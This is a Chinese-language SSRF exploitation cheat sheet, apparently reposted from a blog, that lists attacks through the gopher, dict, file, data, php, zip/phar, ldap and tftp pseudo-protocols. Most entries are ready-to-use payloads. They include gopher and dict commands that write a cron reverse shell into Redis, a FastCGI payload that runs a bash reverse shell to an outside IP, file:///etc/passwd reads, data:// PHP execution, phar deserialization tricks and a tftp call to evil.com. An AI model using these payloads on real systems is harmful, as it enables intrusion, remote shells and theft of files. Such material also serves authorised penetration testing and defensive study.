SSRF利用

 

ID

技术

场景

过程

相关链接

关联武器库

 
S1 判断是否存在SSRF   url格式类似:http://allods.my.com/index.php?form=https://example.com/yourimage.jpg,则可能存在SSRF。      
S2



SSRF伪协议利用总结




gopher伪协议

可以扫描内网、反弹shell

gopher 协议的格式:gopher://+ip:端口+/+_ + TCP/IP 数据
gopher 协议默认端口为 70


gopher协议使用方法:

get请求转化为gopher:

post请求转换为gopher:

gopher协议实际利用:

利用gopher攻击mysql:

协议转化:gopher://127.0.0.1:3306/_+url编码的登入请求+包长度+%00%00%00%03+查询语句(url编码)+%01%00%00%00%01     (工具推荐 https://github.com/tarunkant/Gopherus)

利用gopher攻击redis:

利用gopher反弹shell:curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

攻击 FastCGI:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

 

S3

dict伪协议

可以扫描内网、反弹shell

dict协议格式: dict://<user-auth>@<host>:<port>/d:<word> (dict://+ip:端口+/+TCP/IP 数据) 

利用dict协议扫描端口、获取内网信息:

ssrf.php?url=dict://attacker:11111/

curl -vvv 'dict://127.0.0.1:6379/info'

curl dict://192.168.0.67:6379/get:name

利用dict协议及redis反弹shell:

1开启反弹shell的监听:nc -l 9999

2依次执行下面的命令

curl dict://192.168.0.119:6379/set:mars:" * * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1 "

curl dict://192.168.0.119:6379/config:set:dir:/etc/

curl dict://192.168.0.119:6379/config:set:dbfilename:crontab

curl dict://192.168.0.119:6379/bgsave

执行时,反弹shell的命令,也就是set:mars:xxx,会因为特殊字符的原因无法写入到目标的redis中,被被空格所分割导致出现一下情况:

1584705879.520734 [0 172.17.0.1:44488] "set" "mars" "\n\n*" "*" "*" "*" "*" "root" "bash" "-i" ">&" "/dev/tcp/192.168.0.119/6789" "0>&1\n\n"

根据上图我们会发现,命令被分割了,看表象感觉像是被空格分割了。此时将反弹shell的命令进行十六进制转换,变为:

curl dict://192.168.0.119:6379/set:mars:"\x0a\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x72\x6f\x6f\x74\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x30\x2e\x31\x31\x39\x2f\x39\x39\x39\x39\x20\x30\x3e\x26\x31\x0a"

以上单引号使用反斜杠进行转移,其他数据进行十六进制编码,执行结果如下,可以发现没有错误了

1584706087.980465 [0 172.17.0.1:44490] "set" "mars" " * * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1 "

剩下的修改路径和文件名称的请求,正常执行即可

dict 协议是一个字典服务器协议,就是用来查单词的那种字典。字典服务器本来是为了让客户端使用过程中能够访问更多的字典源。
与 gopher 相比,dict 携带的数据无法插入 (只能插入 \r\n),所以对于大部分组件来说,只能执行一条命令,所以如果一个组件可以一步一步操作(比如 redis),那么才可以利用,那么很明显,需要认证的 redis 是无法通过 dict 攻击的,但是可以用来爆破密码。

http://www.cxyzjd.com/article/weixin_35431719/114470730    
S4 file:// 访问文件

用于访问本地文件系统,不受allow_url_fopen与allow_url_include的影响

从文件系统中获取文件:http://safebuff.com/redirect.php?url=file:///etc/passwd

读取本地文件:curl file:///etc/passwd      http://example.com/ssrf.php?file=compress.zlib:///file.gz

?file=zip://D:/soft/phpStudy/WWW/file.zipk23phpcode.txt
?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2

利用payload:http://example.com/ssrf.php?url=file:///etc/passwd 

http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

http://127.0.0.1/include.php?file=file://E:phpStudyPHPTutorialWWWphpinfo.txt

     

S5

data://

data://:需满足allow_url_fopen,allow_url_include同时开启才能使用。

利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:

http://127.0.0.1/include?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

http://127.0.0.1/include?file=data://text/plain,<?php phpinfo()?>

file.php?file=data://text/plain,<?php phpinfo()?>
file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
file.php?file=data:text/plain,<?php phpinfo()?>
file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

     
S6 php://

php://filter 用于读取源码

php://input 用于执行php代码

?page=php://filter/read=convert.base64-encode/resource=../flag.php

     

S7

zip://

bzip2://:

zlib://:

在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用

file.php?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
file.php?file=zip://nac.jpg#nac.php 其中get请求中#需要进行编码,即%23

file.php?file=compress.bzip2://nac.bz2
file.php?file=compress.bzip2://./nac.jpg
file.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

file.php?file=compress.zlib://file.gz
file.php?file=compress.zlib://./nac.jpg
file.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

https://www.jianshu.com/p/0a8339fcc269    
S8 sftp://
ldap://
tftp://

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

https://www.cnblogs.com/-mo-/p/11673190.html    
S9 phar://可导致反序列化漏洞

直接利用:payload:un.php?filename=phar://phar.gif/test

文件上传利用:

把一个php文件压缩成zip文件,然后把zip后缀改为jpg,然后利用这个协议去执行,当然不一定要这样做,直接传zip也是可以利用成功的

利用zip或phar伪协议读取压缩包中的文件
/about.php?f=phar://./images/1499394959.jpg/1.php

/about.php?f=zip://./images/1499394959.jpg%231.php    

https://blog.szfszf.top/article/17/

https://eviladan0s.github.io/2020/03/14/php_phar/

https://xz.aliyun.com/t/6699#toc-3

 
原文地址:https://www.cnblogs.com/1008612mrzou/p/15393834.html